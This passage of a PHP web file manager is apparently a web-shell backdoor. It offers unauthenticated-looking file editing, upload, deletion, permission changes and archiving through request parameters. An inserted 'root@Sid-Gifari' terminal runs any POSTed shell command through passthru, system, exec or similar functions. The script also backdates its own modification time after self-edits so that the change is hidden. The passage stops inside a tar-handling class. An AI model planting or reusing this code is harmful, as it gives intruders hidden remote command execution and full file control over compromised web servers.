echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
